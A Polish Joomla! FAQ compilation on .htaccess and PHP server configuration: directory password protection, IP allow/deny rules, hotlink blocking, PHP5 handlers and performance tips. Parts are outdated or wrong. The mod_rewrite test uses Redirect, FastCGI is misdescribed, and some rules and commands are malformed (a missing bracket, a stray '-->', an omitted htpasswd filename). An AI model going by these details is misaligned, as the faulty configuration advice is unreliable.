 Opcja magic_quotes_gpc jest zwykle włączona w pliku php.ini automatycznie. Włączenie tej opcji poprawia bezpieczeństwo, zapobiegając wstrzykiwaniu niebezpiecznych danych w przypadku niezbyt poprawnie napisanych skryptów. (Powoduje ona automatyczne wywoływanie funkcji addslashes(), poprzedzającej w danych pochodzących z cookies oraz parametrach żądań GET i POST wszystkie apostrofy, podwójne cudzysłowy, lewe ukośniki i bajty zerowe lewym ukośnikiem). Jeśli masz pewność, że Twoja witryna poprawnie filtruje i sprawdza wszystkie dane pochodzące od użytkowników (a tak powinno być w gruncie rzeczy w przypadku każdej opublikowanej witryny), wówczas nie ma żadnej potrzeby, by dodawać tę dyrektywę. Jeśli jednak masz wątpliwości, umieść ją.


3. Zapisz plik .htaccess (w głównym katalogu witryny).

4. Przetestuj zarówno działanie witryny, jak i zaplecza.


Jak Joomla działa z FastCGI?

Gdy PHP działa w trybie FastCGI, Twój serwer uruchamia interpreter PHP jako moduł Apache, ale z uprawnieniami realnego użytkownika konta.

Standardowo PHP jest uruchamiany albo jako moduł Apache, albo w trybie CGI.

PHP uruchomiony jako moduł Apache działa z uprawnieniami uniwersalnego użytkownika serwera internetowego, co wprawdzie zapewnia szybsze działanie, ale nie jest zbyt bezpieczne. Uniwersalny użytkownik ma prawa odczytu i zapisu danych wszystkich klientów na serwerze.

W trybie CGI PHP działa z uprawnieniami realnego użytkownika systemu, najczęściej – właściciela konta i równocześnie użytkownika FTP. Użytkownik taki – po odpowiednim skonfigurowaniu serwera – nie ma wglądu w dane na innych kontach. Ale w trybie CGI dla każdego użytkownika PHP uruchamiany jest odrębnie, jako odrębny proces, co istotnie obciąża i spowalnia serwer.

FastCGI, stosowany na serwerach współdzielonych, a więc wykorzystywanych przez wielu użytkowników, łączy zalety obu trybów. PHP uruchamiany jest jako moduł Apache, ale – jak w CGI – z uprawnieniami realnego użytkownika. Uruchomienie PHP w trybie FastCGI również wiąże się z pewnym zmniejszeniem wydajności serwera, ale jest rozwiązaniem zapewniającym większe bezpieczeństwo.

Korzystanie z FastCGI powoduje jednak inne problemy. Ponieważ PHP działa jako pojedynczy proces, to – o ile wiem – nie może przetwarzać pliku .htaccess albo php.ini dla katalogu, a więc w praktyce plików definiowanych przez realnych użytkowników konta. Aby zmienić ustawienia PHP skonfigurowane dla całego serwera, dostawca usługi musi zapewnić specjalną metodę umieszczania własnych plików php.ini modyfikujących niektóre ustawienia globalne. Oto jak rozwiązuje ten problem jeden z usługodawców: przetwarza co godzinę (parsuje) jeden plik php.ini, zawierający ustawienia, które mogą zmieniać użytkownicy, a ustawienia, których modyfikować nie można, umieszcza w głównym php.ini.

W ten sposób użytkownicy mogą zmienić pewne ustawienia tylko dla swojej witryny, takie jak register_globals czy przełączanie między PHP4 i PHP5.

Jeśli Twój serwer korzysta z FastCGI, możesz poprosić o udostępnienie takiej metody, jak powyżej, aby wprowadzić zmiany, albo możesz poprosić o skorygowanie ustawień zgodnie z Twoimi potrzebami.

Źródła


Jak sprawdzić, czy włączony jest mod rewrite?

Wiele problemów z optymalizacją pod kątem wyszukiwarek internetowych (SEO) jest spowodowanych brakiem modułu mod_rewrite na serwerze. Jak sprawdzić, czy nie jest to źródło naszych problemów?

1. Włącz obsługę prostych adresów w konfiguratorze Twojego Joomla! (zaplecze -> Konfiguracja -> SEO)

2. Zmień nazwę pliku htaccess.txt na .htaccess albo użyj istniejącego pliku .htaccess (jeśli zmieniałeś nazwę wcześniej)

3. Umieść w swoim pliku .htaccess TYLKO następujące linie:

     Options +FollowSymLinks
     Redirect /joomla.html http://www.joomla.org

4. Wpisz w przeglądarce adres: http://www.twoja_domena.com/joomla.html

(Zastąp 'twoja_domena.com' adresem Twojej witryny.)

5. Jeśli przeglądarka przekieruje Cię na www.joomla.org, oznacza to, że mod_rewrite działa. Jeśli pojawi się komunikat błędu, oznacza to, że mod_rewrite nie został uruchomiony

6. Uwaga: Jeśli Twoja witryna umieszczona jest jako subdomena w podkatalogu, na przykład "test", zmodyfikuj .htaccess jak poniżej:

     Options +FollowSymLinks
     Redirect /test/joomla.html http://www.joomla.org

Jak przełączyć się na PHP5 za pomocą .htaccess?

Przegląd

Wiele środowisk serwerów współdzielonych uruchamia skrypty .php używające interpretera PHP4 i kodu .php5 używającego interpretera PHP5. Zamiast zmian w rozszerzeniach wszystkich twoich plików, co mogłoby spowodować zakłamania w wielu linkach, wykorzystaj plik .htaccess do dynamicznego mapowania jednego rozszerzenia na drugie.

WAŻNE OSTRZEŻENIE: Głównym powodem stosowania tego rozwiązania jest fakt, że administratorzy serwerów pozostawiają PHP4 skonfigurowane z włączoną register_globals (ON), aby zapewnić wsparcie dla kodu spuścizny (legacy), jednocześnie oferując PHP5 z wyłączoną register_globals (OFF). Jeżeli pracujesz na serwerze współdzielonym, który ma skonfigurowaną register_globals na ON, to powinieneś się bardzo martwić!

Wyłączenie register_globals (OFF) za pomocą lokalnego pliku php.ini lub .htaccess NIE ZAPEWNI ekstra zabezpieczenia. Inne zhakowane konto na Twoim serwerze z łatwością zhakuje Twoje konto, Twoją witrynę. Ze względów bezpieczeństwa, i od czasu wprowadzenia wydania php 4.2, register_globals jest domyślnie wyłączona (OFF). Każde nadpisanie tego ustawienia na ON to zaproszenie do kłopotów. Jeżeli potrzebujesz włączyć register_globals dla określonej witryny, po prostu użyj .htaccess w tym specyficznym katalogu, i ogólne bezpieczeństwo serwera pozostanie nienaruszone. Oczywiście, jeżeli to zrobisz, bądź pewny, że wszystkie zainfekowane skrypty wyczyszczą w całości dane wejściowe.

Wymagania

  1. Twój serwer Apache musi być skonfigurowany do użycia plików .htaccess. Jeżeli tak nie jest, możesz poprosić dostawcę o taką konfigurację.
  2. Konfiguracja Twojego serwera Apache musi zezwalać na poniższe ustawienia. Jeżeli tak nie jest, możesz poprosić dostawcę o taką konfigurację.
  3. Twój host musi konfigurować rozszerzenia plików .php oraz .php5 jak opisano wyżej. Jeżeli tak nie jest, mogą one prawdopodobnie mieć wybrane inne rozszerzenia. Sprawdź to w konfiguracji swojego hosta.

Wskazania

1. Upewnij się, że Twój serwer jest skonfigurowany do użycia plików .htaccess.

2. Wykonaj kopię pliku .htaccess znajdującego się w Twoim katalogu głównym public_html. Jeżeli nie ma tam pliku .htaccess, utwórz nowy.

3. Są różne sposoby ustawienia komend, w zależności od konfiguracji Twojego serwera. Jeden z poniższych zapewne zadziała. Dodaj JEDNĄ z następujących linii na końcu pliku .htaccess. Jeżeli nie wiesz, której użyć, zapytaj swojego dostawcy, która wersja będzie najlepsza dla Twojej konfiguracji.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

W przypadku gdy PHP działa w trybie FastCGI

AddHandler php5-fastcgi .php  
Action php5-fastcgi /fcgi/php5
# albo  
# Action php5-fastcgi /fcgi-bin5/php5 
AddType application/x-httpd-php .php 

4. Ostrożnie przetestuj zmianę.

5. Skasuj kopię pliku .htaccess. Nie pozostawiaj kopii .htaccess w katalogach publicznych.

Jak chronić hasłem dostęp do katalogów za pomocą .htaccess?

Przegląd

Jednym ze sposobów ochrony zasobów swojego konta przed niepowołanym dostępem, jest wykorzystanie podstawowej metody uwierzytelniania na serwerze Apache za pomocą plików .htaccess. Uwierzytelnienie umożliwia moduł Apache - mod_auth - [j.ang.], którego zadanie polega na porównaniu identyfikatora i hasła przez użytkownika żądającego dostępu z zawartością pliku tekstowego przechowywanego na serwerze.

Wyjaśniamy tutaj, jak na serwerze Apache ochronić hasłem katalog /administrator/ w Joomla!, używając pliku .htaccess. Przedstawione tu instrukcje można łatwo przystosować do ochrony innych katalogów.

Ostrzeżenie

Podstawowa autentykacja (HTTP Basic Authentication) realizowana za pomocą modułu mod_auth nie powinna być uważana za całkowicie bezpieczną z punktu widzenia rygorystycznej definicji bezpieczeństwa. Chociaż hasło przechowywane jest na serwerze w sposób zaszyfrowany, w sieci przesyłane jest od klienta do serwera otwartym tekstem. Wśród narzędzi diagnostycznych administratorów sieci można znaleźć m.in. tzw. sniffery (węszyciele), programy służące do przechwytywania danych w transmisji sieciowej. Legalnie wykorzystywane są do diagnostyki związanej z niezawodnością i wydajnością połączenia, niestety, mogą być także narzędziem włamywacza. Każdy, kto przechwyci pakiety przy pomocy takiej aplikacji, będzie w stanie odczytać nazwę użytkownika i hasło w zwykłej postaci, tak jak się je wpisuje do interfejsu czy formularza.

Należy pamiętać, że nazwa użytkownika i hasło przesyłane są w postaci jawnej na każde żądanie użytkownika (request), nie tylko w momencie samej autentykacji. Dlatego sniffery pakietów nie muszą ciągle nasłuchiwać transmisji, by znaleźć strategiczny moment wprowadzania hasła. Wystarczy że nasłuchują dość długo, by przechwycić wrażliwe dane w chwili realizacji żądania request.

Nie tylko hasło ale cała treść informacji przesyłana jest w sieci w sposób jawny, jeżeli strona zawiera dane wrażliwe, sniffer przechwyci je nawet, jeżeli atakujący wcześniej nie odczytał hasła i nie ma dostępu do witryny.

Nie polegaj tylko na podstawowej autentykacji w zadaniach, które wymagają rzeczywistego bezpieczeństwa. Niewielu ludzi podejmie wysiłek lub posiada niezbędne oprogramowanie i sprzęt, by odkryć twoje hasła, ale jeżeli ktoś to zamierza zrobić, zrobi to bez większych problemów. Jeżeli zależy ci na poufności twoich danych, musisz zastosować wyższy poziom zabezpieczenia połączeń z siecią. Zapewni je protokół szyfrowania połączeń - SSL (Secure Socket Layer), lub jego rozwinięcie TLS (Transport Layer Security).

Zobacz

  1. SSL - Teoria i zasada działania
  2. TLS - rozwinięcie protokołu SSL [j.ang.]

Podstawowa autentykacja przy wykorzystaniu połączenia szyfrowanego SSL będzie już bezpieczna, ponieważ wszystko, co jest przesyłane, zostanie zaszyfrowane, także nazwa użytkownika i hasło.

Czynności

Aby dodawać użytkowników oraz nadawać im hasła i zmieniać je na poziomie podstawowej autentykacji, korzystamy z dostarczanego wraz z Apache programu htpasswd. Jeśli nie znasz programu htpasswd, zapoznaj się z dokumentacją na stronie Apache. Jeśli nie możesz posłużyć się programem htpasswd, skorzystaj z generatorów dostępnych m.in. pod adresami [1] czy [2]. W drugim przypadku program wygeneruje zarówno treść do umieszczenia w pliku haseł, jak i treść wpisu w pliku .htaccess.

Zanim wygenerujesz plik haseł, ustal, gdzie go chcesz umieścić. Plik haseł NIGDY nie powinien być publicznie dostępny z sieci. Poniżej podajemy przykładową strukturę katalogów pokazującą prawidłową lokalizację dla plików .htaccess oraz plików z hasłami użytkowników i pliku z opisem grup użytkowników. Zauważ, że katalog /auth/, w tym przykładzie nie jest dostępny z sieci (dostępny jest public_html, w którym umieszczony jest .htaccess).

/home/nazwa_konta/public_html/twoj_joomla/administrator/.htaccess
/home/nazwa_konta/auth/.htpasswd/
/home/nazwa_konta/auth/.htgroups/

Aby wygenerować plik haseł za pomocą programu htpassword:

1. Wywołaj program z opcją –c (powoduje utworzenie nowego pliku), podając jako argumenty ścieżkę do pliku haseł oraz nazwę pierwszego użytkownika, np.

htpasswd –c /var/auth/nazwa_konta/.htpassword uzytkownik1

2. Program poprosi o podanie hasła – wpisz je i, jeśli będziesz dodawać kolejnych użytkowników, zanotuj je.

3. Dodaj kolejnego użytkownika, tym razem nie podajesz już opcji –c, np.:

htpasswd /var/auth/nazwa_konta uzytkownik2

4. Podobnie, jak poprzednio, podaj hasło i zanotuj je.

Jeśli nie istnieje użytkownik o podanym identyfikatorze, zostanie utworzony. Jeśli istnieje, zostanie mu nadane nowe hasło. Hasła są szyfrowane za pomocą funkcji crypt, a nazwy użytkowników zapamiętywane są w postaci czystego tekstu. W każdej linii nazwa użytkownika, dwukropek i zaszyfrowane hasło, np.

uzytkownik1:styhRa7M5oP.A

5. Umieść w pliku .htaccess sekcję z konfiguracją uwierzytelniania, np.

########## Start – Sekcja Uwierzytelnienie 
AuthUserFile /var/auth/nazwa_konta/.htpassword
## gdy nie stworzono pliku opisu grup umiesc
AuthGroupFile /dev/null
## albo – jesli stworzono plik opisu grup – odkomentuj i umiesc
#AuthGroupFile /var/auth/nazwa_konta/.htgroups    #jesli stworzono
AuthName "Obszar chroniony"
AuthType Basic
# uzyj linii ponizej gdy jest plik opisu grupy admini (nazwa przykladowa)
require group admini
# albo zakomentuj linie powyzej a odkomentuj i uzyj ponizszej, gdy brak pliku opisu grupy
require valid-user
########## Koniec – Sekcja Uwierzytelnienie 

Więcej o opcjach programu htpasswd znajdziesz tu: htpasswd - zarządzanie plikami dla podstawowej autentykacji [j.ang]

Objaśnienia

Plikowi haseł i plikowi opisu grup można nadać dowolną nazwę. W przypadku, gdy zastosujemy konwencję nazewniczą jak w pliku .htaccess, a więc zastosujemy nazwę bez rozszerzenia poprzedzoną kropką, stworzymy plik ukryty.

Dostęp do zasobów można określić w różny sposób – wskazać pojedynczych użytkowników albo grupy czy też wszystkich użytkowników, którzy podadzą prawidłowe dane identyfikacyjne. Jeśli tworzymy grupy, to w pliku z opisem grup wyszczególniamy w kolejnych wierszach ich nazwy, a po dwukropku nazwy użytkowników, np.

admini: operator1 operator2 operator3
uzytkownicy: uzytkownik1 uzytkownik2 uzytkownik3 

Możliwe jest skorzystanie z mniej bezpiecznego, podstawowego typu autoryzacji - Basic oraz bezpieczniejszego - Digest, ale ten sposób wymaga zainstalowania dodatkowego modułu - mod_digest.

Uwierzytelnianie opisaną tutaj metodą niesie ze sobą sporą niedogodność. Zastosowanie jej do ochrony całej witryny powodowałoby duże obciążenie serwera – każdorazowe żądanie wyświetlenia strony chronionej za pomocą pliku .htacces pociąga za sobą procedurę, w której serwer musi odczytać plik .htacces, pobrać dane od użytkownika żądającego dostępu, odczytać pliki grup i haseł, porównać je z podanymi przez logującego się. Nie jest to zatem sposób, który można zalecać do ochrony witryny, ale – stosowany z rozsądkiem – może posłużyć do ochrony obszarów szczególnie wrażliwych.


Narzędzia

Przeczytaj także

Jak używając .htaccess udostępniać i blokować połączenia z określonego IP?

Katalog dostępny tylko z określonego IP

Efektywnym sposobem ochrony katalogu /administrator w standardowej instalacji Joomla! może być udostępnienie go tylko połączeniom z określonego adresu IP. Aby jednak z tej metody skorzystać, musisz posiadać statyczny adres IP, z którego będziesz się łączyć.

Przedstawiany sposób może być wykorzystany do ochrony każdego innego katalogu w public_html. Każdy, kto spróbuje przeglądać tak zabezpieczony katalog, otrzyma sygnał błędu 403 (Zabroniony dostęp ze względu bezpieczeństwa).

Czynności

  1. W katalogu, który chcesz chronić, utwórz (lub otwórz istniejący) plik .htaccess.
  2. Dodaj poniższy kod do tego pliku, zamieniając 100.100.100.100 w tym przykładzie, na Twój statyczny numer IP.
########## Start – Dostęp tylko z określonego adresu IP
Order deny, allow
Deny from all
Allow from 100.100.100.100
########## Koniec – Dostęp tylko z określonego adresu IP

Pierwsza linia określa kolejność wykonywania dyrektyw – najpierw zostaną wykonane polecenia blokujące dostęp (tu jedno), a następnie zezwalające na dostęp. Można by tę linię opuścić, bowiem standardowo zawsze najpierw wykonywane są polecenia blokujące. Druga linia blokuje dostęp wszystkim, natomiast trzecia zezwala na dostęp z podanego adresu lub adresów IP – można tu bowiem wpisać kilka adresów, oddzielając je przecinkami, np.:

100.100.100.101, 100.100.100.102

Blokowanie dostępu połączeniom z określonego IP

Tę samą metodę możemy wykorzystać w odwrotny sposób – blokować dostęp poszczególnym adresom IP lub całym ich grupom, aby np. udaremnić działalność spamujących robotów internetowych czy utrudnić przeglądanie witryny uciążliwym użytkownikom.

Czynności

  1. Otwórz do edycji plik .htaccess umieszczony w głównym katalogu (lub innym, który chcesz chronić).
  2. Dodaj następujący kod do tego pliku, zamieniając adresy IP tym, które chcesz blokować:
########## Start – Blokowanie połączeń z określonych adresów IP
Order allow, deny
Deny from 200.200.200.200
Deny from 210.210.210
Deny from 220.220
Allow from all
########## Koniec – Blokowanie połączeń z określonych adresów IP

Zwróć uwagę na dwie kwestie.

Po pierwsze – niestandardową kolejność zarządzoną poleceniem Order allow, deny. Gdyby jej nie było, umieszczone na końcu polecenie Allow from all osłabiłaby działanie poprzednich. W aktualnym ujęciu połączenia ze wszystkich adresów poza wyszczególnionymi zostaną zaakceptowane.

Po drugie – na różny zakres blokowania w poleceniach Deny from. W pierwszym z poleceń blokujemy połączenia z dokładnie określonego adresu, w drugim blokujemy połączenia ze wszystkich adresów IP rozpoczynających się od 210.210.210. W kolejnym mamy przykład jeszcze szerszego zasięgu.

Jak zmienić nazwę pliku htaccess.txt na .htaccess?

Ustawianie serwera

Gdy konfiguracja serwera nie odpowiada naszym potrzebom, nie zawsze musimy prosić o zmianę administratora. Zmiany niektórych ustawień możemy zwykle dokonać samodzielnie, umieszczając odpowiednie wpisy w specjalnych plikach konfiguracyjnych. Zwykle mamy możliwość korzystania z plików .htaccess. Niekiedy także z plików php.ini.

Co to jest plik .htaccess?

Pliki .htaccess służy do zmiany konfiguracji serwera Apache w obrębie katalogu, w którym został umieszczony i wszystkich zagnieżdżonych w nim podkatalogach, o ile tylko dany podkatalog nie został skonfigurowany jako osobny podserwer. Ustawienia w pliku .htaccess znajdują natychmiastowe odzwierciedlenie w działaniu serwera, bo plik .htaccess odczytywany jest podczas każdego żądania dotyczącego plików danego katalogu.

Plik .htaccess wykorzystywany jest nie tylko do zmiany istotnych ustawień serwera, ale także do ochrony witryny przed atakami sieciowymi, ograniczenia dostępu do witryny, przygotowywania własnych stron błędów generowanych przez serwer. Ponadto, gdy PHP działa jako moduł Apache, plik .htaccess umożliwia modyfikację niektórych zmiennych konfigurujących PHP (tylko ustawień typu PHP_INI_ALL oraz PHP_INI_PERDIR).

O możliwości korzystania z plików .htaccess decyduje ustawienie dyrektywy AllowOverride w głównym pliku konfiguracyjnym Apache (httpd.conf lub access.conf). Ustawienie polecenia AllowOverride na All zezwala na ustawianie w pliku .htaccess wszystkich opcji serwera, ustawienia AuthConfig, FileInfo, Indexes, Limit oraz Options definiują ograniczone możliwości zmian, a ustawienie None wyłącza przetwarzanie plików .htaccess.

Warto jeszcze wiedzieć, że czasami administratorzy serwerów definiują inną nazwę tego pliku niż standardowa, np. .ustawienia. W takich przypadkach stosowną informację powinniśmy uzyskać przy zawieraniu umowy.

Skąd wziąć plik .htaccess?

Można go napisać od podstaw samemu. Jest to zwykły plik tekstowy ASCII. Administratorzy Joomla! mogą skorzystać z umieszczonego w głównym katalogu każdej instalacji pliku htaccess.txt, zmieniając jego nazwę i dostosowując treść do własnych potrzeb. Plik ten zawiera zestaw przydatnych reguł chroniących Joomla! przed pospolitymi exploitami oraz zestaw reguł przepisujących skomplikowane adresy generowane przez PHP na tzw. proste, łatwe do zapamiętania przez ludzi. Jest w nim również reguła umożliwiająca przekierowanie adresu wskazywanego przez serwer na katalog, w którym faktycznie jest umieszczony Joomla!.

Jak zmienić nazwę pliku htaccess.txt na .htaccess?

Zmiany nazwy pliku htaccess.txt można dokonać bezpośrednio na serwerze albo na swoim komputerze, z tym że w systemie Windows nie uda się przemianowanie w oknie standardowego Explorera – trzeba skorzystać z menedżera plików typu TotalCommander czy klienta FTP, np. FireFTP.

Skorzystanie z dołączonego pliku htaccess.txt (oczywiście – po przemianowaniu), może niekiedy spowodować błędy w wyświetlaniu witryny, o czym zresztą uprzedzono nas w pierwszej części pliku.

Joomla 1.5Oto jej tłumaczenie:

# PRZECZYTAJ DOKŁADNIE I UWAŻNIE, JEŚLI CHCESZ KORZYSTAĆ Z TEGO PLIKU
#
# Linia umieszczona poniżej tej sekcji ‘Options +FollowSymLinks’ może powodować
# problemy w przypadku niektórych serwerów. Jest ona niezbędna, aby stosować
# mod_rewrite, ale administrator Twojego serwera może zablokować jej ustawianie
# w plikach .htaccess. Jeżeli zastosowanie tego ustawienia powoduje błąd serwera
# skomentuj te linie (dodaj na początku znak #), odśwież witrynę w przeglądarce 
# i przetestuj proste adresy. Jeśli okaże się, ze proste adresy działają poprawnie, 
# to znaczy, że zostały skonfigurowane przez administratora serwera
# i nie ma potrzeby ustawiania tutaj tego polecenia
## Może wymagać skomentowania w przypadku błędów. Zobacz uwagę powyżej.
Options +FollowSymLinks

Aby zmienić nazwę pliku htaccess.txt na .htaccess:

  1. Korzystając z ulubionego klienta FTP, np. FireFTP, połącz się ze swoim serwerem.
  2. W głównym katalogu swojego Joomla! odszukaj plik htaccess.txt, zaznacz go, naciśnij prawy klawisz myszki i wybierz z podręcznego menu plecenie Zmień nazwę (albo – w FireFTP naciśnij F2)
  3. Wstaw przed nazwą kropkę, usuń zza nazwy kropkę i rozszerzenie txt (a więc ustal nazwę: .httaccess) i naciśnij ENTER.
  4. Przetestuj w przeglądarce otwieranie stron witryny i zaplecza. Jeśli zamiast wywoływanych stron pojawią się błędy, przywróć plikowi nazwę htaccess.txt, pobierz plik na swój komputer, otwórz w zwykłym edytorze, zakomentuj linię Options +FollowSymLinks, wstawiając przed nią znak #, zapisz zmieniony plik, prześlij na serwer, ponownie zmień nazwę i ponownie przetestuj otwieranie stron witryny i zaplecza. Jeśli mimo tej zmiany otrzymasz komunikaty błędów, to prawdopodobnie nie możesz korzystać z pliku .htaccess. Zgłoś problem administratorowi serwera.

Uwaga: w niektórych klientach FTP plik .htaccess może być niewidoczny – aby go zobaczyć, trzeba np. w menu programu, w TotalCommander, zaznaczyć opcję Sieć -> Pokaż ukryte pliki.

Więcej informacji

Jak blokować podłączanie do plików graficznych używając .htaccess?

Ostrzeżenia

  1. Twój serwer musi zezwalać na pliki .htaccess, aby ta technika zadziałała.
  2. Jeżeli nie masz pliku .htaccess w swoim katalogu głównym, zerknij najpierw do odpowiedniego FAQ.
  3. Nie używaj tej metody do przekierowania podłączeń plików graficznych do stron HTML lub do serwerów, których nie jesteś właścicielem.
  4. Podłączone pliki graficzne mogą być zastąpione tylko przez inne pliki graficzne, a nie przez strony HTML.
  5. Jeżeli stosujesz przepisania .htaccess (rewrite), możesz zablokować normalny ruch, np. użytkowników korzystających z proxy lub firewalli.


Wskazania

  1. Utwórz plik jpeg i nazwij go no_hot_link.jpe. Zwróć uwagę na dziwne rozszerzenie (.jpe) jest celowe i ważne. Umieść ten plik w katalogu /images.
  2. Wpisz następujący kod do pliku .htaccess znajdującego się w katalogu głównym.
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?twoja_domena\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]-->

Wyjaśnienia

Pierwszy wiersz rozpoczyna regułę przepisywania przez serwer Apache. Drugi dopasowuje wszystkie wywołania z twojej strony, tu nazwanej twoja_domena.com. Flaga [NC] oznacza "No Case", dopasowanie małych i dużych znaków. Trzeci wiersz zezwala na puste odniesienia. Ostatni dopasowuje wszystkie pliki z rozszerzeniami jpeg, jpg, gif, bmp oraz png. To tu jest zamieniany przez plik no_hot_link.jpe znajdujący się w katalogu /images. Ten plik JPEG używa rozszerzenia .jpe zamiast .jpg, aby zapobiec blokowaniu twojego zamienionego pliku graficznego przez te reguły.

Blokowanie podłączenia z określonych domen

Aby zablokować podłączenia tylko z określonych domen, takich jak myspace.com, blogspot.com czy livejournal.com, a jednocześnie zezwolić innym witrynom na podłączenie się do twoich plików graficznych, użyj następującego kodu:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://(.+\.)?myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://(.+\.)?blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://(.+\.)?livejournal\.com/ [NC]
RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L

Możesz dodać tyle różnych domen, ile chcesz. Każdy wiersz reguły RewriteCond oprócz ostatniego powinien kończyć się flagami [NC,OR]/ NC oznacza ignorowanie wielkości znaku. OR oznacza "Or Next" - "lub następny", dopasowuje ten wiersz LUB następny. Ostatni wiersz omija flagę OR, kończąc dopasowywanie po ostatnim RewriteCond.

Wyświetlaj stronę błędu 403

Alternatywnie możesz wyświetlić stronę błędu 403. Ostatnią linię w kodzie powyżej zamień na następującą:

RewriteRule .*\.(jpe?g|gif|bmp|png)$ - [F]


PHP

Czemu Joomla jest napisany w PHP?

W tej sprawie najlepiej zasięgnąć opinii osoby kompetentnej. W Do you PHP?, Rasmus Lerdorf, osoba od której zaczął się PHP, przedstawia jak i dlaczego rozwijano PHP.

Co o PHP można powiedzieć, to to, że nigdy nie był przeznaczony do konkursu piękności. Nie był projektowany, by wprowadzić jakieś rewolucyjne paradygmaty w programowaniu. Został napisany dla jednego problemu, dla Sieci. Ten problem bywa bardzo nieatrakcyjny i czasami potrzeba nieatrakcyjnych narzędzi do rozwiązywanie nietrakcyjnych problemów. Chociaż wspaniałe narzędzie może również rozwiązać taki problem, to jednak nietrakcyjne rozwiązania PHP można zastosować znacznie szybciej i przy mniejszych zasobach. To wyjaśnia jego przydatność.


Które wydanie PHP jest najnowsze?

Informacje o najnowszym stabilnym wydaniu PHP znajdziesz na oficjalnej stronie repozytorium PHP.

Jak przyspieszyć działanie z PHP5 i MySQL5?

Jest to sprawozdanie, punkt po punkcie, jak dostosowywałem nasze strony Joomla! aby działały tak szybko jak to możliwe. Wszystkie strony były uruchomione na serwerze dedykowanym Rakcspace, z 1Gb RAM, 2Ghz dual core Athlon, na którym zainstalowano Apache 2.0.x (bieżąca rewizja), PHP 5.0.x (bieżąca rewizja) i MYSQL 5.0.18.

Wykaz zrobiono w zależności od rzeczywistego wzrostu szybkości, tzn. nie całkowitej szybkości dla całej strony, ale prędkości ładowania do momentu zanim strona jest gotowa do prezentacji zawartości, nawet jeżeli nie wszystkie jej możliwości zostały załadowane.

  1. PHP caching. Uruchomiłem eAccelerator, ale dzisiaj przełączyłem na APC i to skutkowało znacznym przyśpieszeniem systemu w porównaniu z PHP bez pamięci podręcznej. Joomla! jest dużym kompleksowym systemem, więc użycie prekompilowanego kodu jest dużą oszczędnością czasu. Używam 128Mb pamięci podręcznej (in-memory), której wystarczy z zapasem dla naszych potrzeb.
  2. MYSQL Query Caching. To różni się mocno w zależności jak dynamiczna jest nasza strona, i można utracić ten zysk przez użycie złych rozszerzeń ((any date/time based will need checking), ale jeśli są te same kolejki przy ładowaniu każdej strony, spadek czasu ładowania jest zauważalny.
  3. Optymalizacja grafiki szablonu - grafika szablonu rzeczywiście spowalnia ładowanie wstępne strony dla gości odwiedzających witrynę pierwszy raz, tak więc jej optymalizacja ma sens. Pamiętaj, że Twój szablon prawdopodobnie nie zmieni się tak szybko jak zmienia się treść, więc będzie Cię stać na spędzenie dłuższego czasu na optymalizacji grafiki. Polecam Irfanview, z dodatkiem pngout dobrym dla obrazków PNG, i dobrym także dla grafik JPG i GIF. Nie zapomnij podwyższyć poziomu kompresji dla PNG, i jeżeli możliwe zredukowania ich do indeksowych palet kolorów.
  4. Kompresja CSS. Łatwa sprawa - włącz mały skrypt kompresujący Twoje pliki CSS wskaż mu index.php. Przykład skryptu podaję poniżej, nie napisałem go ale jest krótki i działa.
             ob_start ("ob_gzhandler");
             header("Content-type: text/css");
             header("Cache-Control: must-revalidate");
             $offset = 60 * 60 ;
             $ExpStr = "Expires: " .
             gmdate("D, d M Y H:i:s",
             time() + $offset) . " GMT";
             header($ExpStr);
  1. Usuń z Joomla! niepotrzebne moduły, komponenty, mamboty. Jeżeli ich nie używałeś wpływ na czas ładowania strony jest minimalny, ale przy większej ilości aktywnych komponentów/modułów istnieje więcej potencjalnych punktów błędnego zadziałania, a błędy w Apache są wolne!
  2. Zbadaj dokładnie log błędów Apache. Zadziwiające, ile błędów może się pojawiać nawet przy minimalnej instalacji Joomla!, a one niekoniecznie dotyczą prezentacji strony. Sprawdź te logi, szczególnie jeżeli używasz komponentów/modułów napisanych przez osoby trzecie, lub masz niestandardową konfigurację. Kiedy zauważysz jakiś problem to czas poprawić kod go generujący. Po poprawce należy ostrożnie przetestować wprowadzone zmiany przed wysłaniem ich na czynną stronę.
  3. Zawsze sprawdzaj działanie witryny po dodaniu/usunięciu funkcjonalności, przeprojektowaniu lub zmianie opcji konfiguracji serwera. Nawet dodanie wirtualnego serwera w Apache może wpłynąć na szybkość serwera, gdy utracone ustawienia konfiguracji mogą spowodować generalne opóźnienia w działaniu Apache.


Jak lepiej uruchomić PHP - jako skrypt CGI czy moduł Apache?

Są dwie główne metody uruchamiania środowiska PHP:

  1. Konfiguracja Apache, aby ładował interpreter PHP jako moduł Apache
  2. Konfiguracja Apache, aby uruchamiał interpreter PHP jako program CGI

(PS: Windows IIS konfiguruje zwykle PHP jako skrypt CGI)

Intencją tej wiadomości jest dostarczyć Ci informacji dotyczącej konfiguracji i rozpoznawania każdej z tych metod. "Ogólnie" i historycznie rzecz biorąc, tylko jedna metoda albo inne metody zostały zaimplementowane, jednakże wraz ze zmianami architektonicznymi poczynionymi w PHP, poczynając od PHP5, firmy hostingowe mogą skonfigurować obie wersje, jedną działającą jako moduł, drugą jako skrypt CGI. Powszechniejsze jest drugie rozwiązanie, bo zapewnia większe bezpieczeństwo, ale z kolei działanie PHP jako modułu Apache jest wydajniejsze i zwykle jest upowszechnione w pudełkowych wersjach preinstalacyjnych.

Jaka jest różnica między trybem CGI, a modułem Apache?

Moduł Apache

...jest kompilowany na binaria serwera, czyli interpreter PHP działa w ramach procesu Apache, co oznacza, że kiedy Apache generuje proces potomny (child), każdy taki proces zawiera binarny obraz PHP. CGI jest uruchamiany jako indywidualny proces dla każdego zapytania (request) i musi wykonać wywołania exec() lub fork() dla uruchomienia PHP, co oznacza z kolei, że każda prośba (request) tworzy nowy proces interpretera PHP. Apache jest bardziej wydajny w obsłudze zapytań (request) i w zarządzaniu zasobami, co czyni ten moduł nieco szybszym od CGI (jak również bardziej stabilnym przy obciążeniu).

Tryb CGI

